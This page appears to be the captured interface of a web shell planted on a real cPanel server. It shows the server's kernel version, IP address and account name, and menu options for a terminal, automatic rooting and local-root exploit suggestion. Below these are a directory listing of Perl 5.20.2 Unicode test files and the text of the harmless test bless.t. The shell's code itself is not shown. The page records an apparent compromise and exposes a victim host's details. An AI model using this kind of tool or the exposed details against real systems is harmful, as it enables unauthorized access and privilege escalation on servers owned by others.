Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
uni /
Delete
Unzip
Name
Size
Permission
Date
Action
attrs.t
5.1
KB
-r--r--r--
2014-12-27 11:49
bless.t
2.6
KB
-r--r--r--
2014-12-27 11:49
cache.t
1.05
KB
-r--r--r--
2014-12-27 11:49
caller.t
1.88
KB
-r--r--r--
2014-12-27 11:49
case.pl
3.14
KB
-r--r--r--
2014-12-27 11:49
chomp.t
1.9
KB
-r--r--r--
2014-12-27 11:49
chr.t
655
B
-r--r--r--
2014-12-27 11:49
class.t
2.18
KB
-r--r--r--
2014-12-27 11:49
eval.t
652
B
-r--r--r--
2014-12-27 11:49
fold.t
28.46
KB
-r--r--r--
2014-12-27 11:49
goto.t
836
B
-r--r--r--
2014-12-27 11:49
greek.t
4.15
KB
-r--r--r--
2014-12-27 11:49
gv.t
22.39
KB
-r--r--r--
2014-12-27 11:49
labels.t
1.66
KB
-r--r--r--
2014-12-27 11:49
latin2.t
5.19
KB
-r--r--r--
2014-12-27 11:49
lex_utf8.t
2.15
KB
-r--r--r--
2014-12-27 11:49
lower.t
274
B
-r--r--r--
2014-12-27 11:49
method.t
7.93
KB
-r--r--r--
2014-12-27 11:49
opcroak.t
1.1
KB
-r--r--r--
2014-12-27 11:49
overload.t
7.38
KB
-r--r--r--
2014-12-27 11:49
package.t
2.47
KB
-r--r--r--
2014-12-27 11:49
parser.t
5.6
KB
-r--r--r--
2014-12-27 11:49
readline.t
1.35
KB
-r--r--r--
2014-12-27 11:49
select.t
636
B
-r--r--r--
2014-12-27 11:49
sprintf.t
2.6
KB
-r--r--r--
2014-12-27 11:49
stash.t
9.66
KB
-r--r--r--
2014-12-27 11:49
tie.t
1.02
KB
-r--r--r--
2014-12-27 11:49
title.t
217
B
-r--r--r--
2014-12-27 11:49
tr_7jis.t
1.39
KB
-r--r--r--
2014-12-27 11:49
tr_eucjp.t
1.2
KB
-r--r--r--
2014-12-27 11:49
tr_sjis.t
1.21
KB
-r--r--r--
2014-12-27 11:49
tr_utf8.t
1.71
KB
-r--r--r--
2014-12-27 11:49
universal.t
3.57
KB
-r--r--r--
2014-12-27 11:49
upper.t
298
B
-r--r--r--
2014-12-27 11:49
variables.t
7.77
KB
-r--r--r--
2014-12-27 11:49
write.t
2.45
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl BEGIN { chdir 't' if -d 't'; @INC = '../lib'; require './test.pl'; } use utf8; use open qw( :utf8 :std ); plan (84); sub expected { my($object, $package, $type) = @_; print "# $object $package $type\n"; is(ref($object), $package); my $r = qr/^\Q$package\E=(\w+)\(0x([0-9a-f]+)\)$/u; like("$object", $r); if ("$object" =~ $r) { is($1, $type); # in 64-bit platforms hex warns for 32+ -bit values cmp_ok(do {no warnings 'portable'; hex($2)}, '==', $object); } else { fail(); fail(); } } # test blessing simple types $a1 = bless {}, "ዐ"; expected($a1, "ዐ", "HASH"); $b1 = bless [], "B"; expected($b1, "B", "ARRAY"); $c1 = bless \(map "$_", "test"), "ᶜ"; expected($c1, "ᶜ", "SCALAR"); $tèst = "foo"; $d1 = bless \*tèst, "ɖ"; expected($d1, "ɖ", "GLOB"); $e1 = bless sub { 1 }, "ಎ"; expected($e1, "ಎ", "CODE"); $f1 = bless \[], "ḟ"; expected($f1, "ḟ", "REF"); $g1 = bless \substr("test", 1, 2), "ㄍ"; expected($g1, "ㄍ", "LVALUE"); # blessing ref to object doesn't modify object expected(bless(\$a1, "ḟ"), "ḟ", "REF"); expected($a1, "ዐ", "HASH"); # reblessing does modify object bless $a1, "ዐ2"; expected($a1, "ዐ2", "HASH"); # local and my { local $a1 = bless $a1, "ዐ3"; # should rebless outer $a1 local $b1 = bless [], "B3"; my $c1 = bless $c1, "ᶜ3"; # should rebless outer $c1 our $test2 = ""; my $d1 = bless \*test2, "ɖ3"; expected($a1, "ዐ3", "HASH"); expected($b1, "B3", "ARRAY"); expected($c1, "ᶜ3", "SCALAR"); expected($d1, "ɖ3", "GLOB"); } expected($a1, "ዐ3", "HASH"); expected($b1, "B", "ARRAY"); expected($c1, "ᶜ3", "SCALAR"); expected($d1, "ɖ", "GLOB"); # class is magic "ಎ" =~ /(.)/; expected(bless({}, $1), "ಎ", "HASH"); { local $! = 1; my $string = "$!"; $! = 2; # attempt to avoid cached string $! = 1; expected(bless({}, $!), $string, "HASH"); # ref is ref to magic { { package ḟ; sub test { main::is(${$_[0]}, $string) } } $! = 2; $f1 = bless \$!, "ḟ"; $! = 1; $f1->test; } } # ref is magic # class is a ref $a1 = bless {}, "ዐ4"; $b1 = eval { bless {}, $a1 }; isnt ($@, '', "class is a ref"); # class is an overloaded ref =begin $TODO = "Package not yet clean"; { package ᚺ4; use overload '""' => sub { "ᶜ4" }; } $h1 = bless {}, "ᚺ4"; $c4 = eval { bless \$test, $h1 }; is ($@, '', "class is an overloaded ref"); expected($c4, 'ᶜ4', "SCALAR"); =cut { my %h = 1..2; my($k) = keys %h; my $x=\$k; bless $x, 'pàm'; is(ref $x, 'pàm'); my $a = bless \(keys %h), 'zàp'; is(ref $a, 'zàp'); }